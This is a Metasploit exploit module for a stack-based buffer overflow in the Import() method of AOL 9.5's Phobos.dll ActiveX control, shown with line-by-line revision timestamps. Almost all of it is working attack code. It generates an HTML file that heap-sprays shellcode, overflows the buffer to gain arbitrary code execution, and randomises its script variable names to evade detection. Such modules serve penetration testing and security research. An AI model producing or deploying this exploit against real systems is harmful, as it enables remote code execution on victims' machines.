2010-01-28 18:58:14 +00:00
|
|
|
##
|
|
|
|
|
# $Id$
|
|
|
|
|
##
|
|
|
|
|
|
2010-03-10 05:58:01 +00:00
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/
|
2010-03-10 05:58:01 +00:00
|
|
|
##
|
|
|
|
|
|
2010-01-28 18:58:14 +00:00
|
|
|
##
|
|
|
|
|
# aol_phobos_bof.rb
|
|
|
|
|
#
|
|
|
|
|
# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework
|
|
|
|
|
#
|
|
|
|
|
# Tested successfully on the following platforms:
|
|
|
|
|
# - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3
|
|
|
|
|
#
|
|
|
|
|
# Phobos.dll version tested:
|
|
|
|
|
# File Version: 9.5.0.1
|
|
|
|
|
# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C
|
|
|
|
|
# RegKey Safe for Script: False
|
|
|
|
|
# RegKey Safe for Init: False
|
|
|
|
|
# Implements IObjectSafety: False
|
|
|
|
|
# KillBitSet: False
|
|
|
|
|
#
|
|
|
|
|
# Due to the safe for initialization and safe for scripting settings of this ActiveX control,
|
|
|
|
|
# exploitation is possible only from Local Machine Zone, which means the victim must run the
|
|
|
|
|
# generated exploit file locally.
|
|
|
|
|
#
|
|
|
|
|
# Trancer
|
|
|
|
|
# http://www.rec-sec.com
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
Rank = AverageRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.
|
|
|
|
|
By setting an overly long value to 'Import()', an attacker can overrun a buffer
|
|
|
|
|
and execute arbitrary code.
|
|
|
|
|
|
|
|
|
|
NOTE: This ActiveX control is NOT marked safe for scripting or initialization.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
|
|
|
|
'Trancer <mtrancer[at]gmail.com>'
|
|
|
|
|
],
|
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
2010-01-28 21:04:40 +00:00
|
|
|
[ 'OSVDB', '61964'],
|
2012-10-23 19:02:09 +00:00
|
|
|
[ 'EDB', '11204' ],
|
2010-01-28 18:58:14 +00:00
|
|
|
[ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
2010-09-25 11:59:02 +00:00
|
|
|
'DisablePayloadHandler' => 'true',
|
2010-01-28 18:58:14 +00:00
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Jan 20 2010',
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),
|
|
|
|
|
], self.class)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
|
|
# Encode the shellcode
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
|
|
# Setup exploit buffers
|
|
|
|
|
nops = Rex::Text.to_unescape([target.ret].pack('V'))
|
|
|
|
|
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
|
|
|
|
blocksize = 0x40000
|
|
|
|
|
fillto = 500
|
|
|
|
|
offset = target['Offset']
|
|
|
|
|
|
|
|
|
|
# Randomize the javascript variable names
|
|
|
|
|
phobos = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_shellcode = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_nops = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_ret = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_headersize = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_slackspace = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_fillblock = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_block = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_memory = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_counter = rand_text_alpha(rand(30) + 2)
|
|
|
|
|
j_bla = rand_text_alpha(rand(8) + 4)
|
|
|
|
|
|
|
|
|
|
html = %Q|<html>
|
|
|
|
|
<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>
|
|
|
|
|
<script>
|
|
|
|
|
#{j_shellcode}=unescape('#{shellcode}');
|
|
|
|
|
#{j_nops}=unescape('#{nops}');
|
|
|
|
|
#{j_headersize}=20;
|
|
|
|
|
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
|
|
|
|
|
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
|
|
|
|
|
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
|
|
|
|
|
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
|
|
|
|
|
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
|
|
|
|
|
#{j_memory}=new Array();
|
|
|
|
|
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
|
|
|
|
|
|
|
|
|
|
var #{j_ret}='';
|
|
|
|
|
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
|
|
|
|
|
#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');
|
|
|
|
|
</script>
|
|
|
|
|
</html>|
|
|
|
|
|
|
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
|
|
|
|
|
|
file_create(html)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
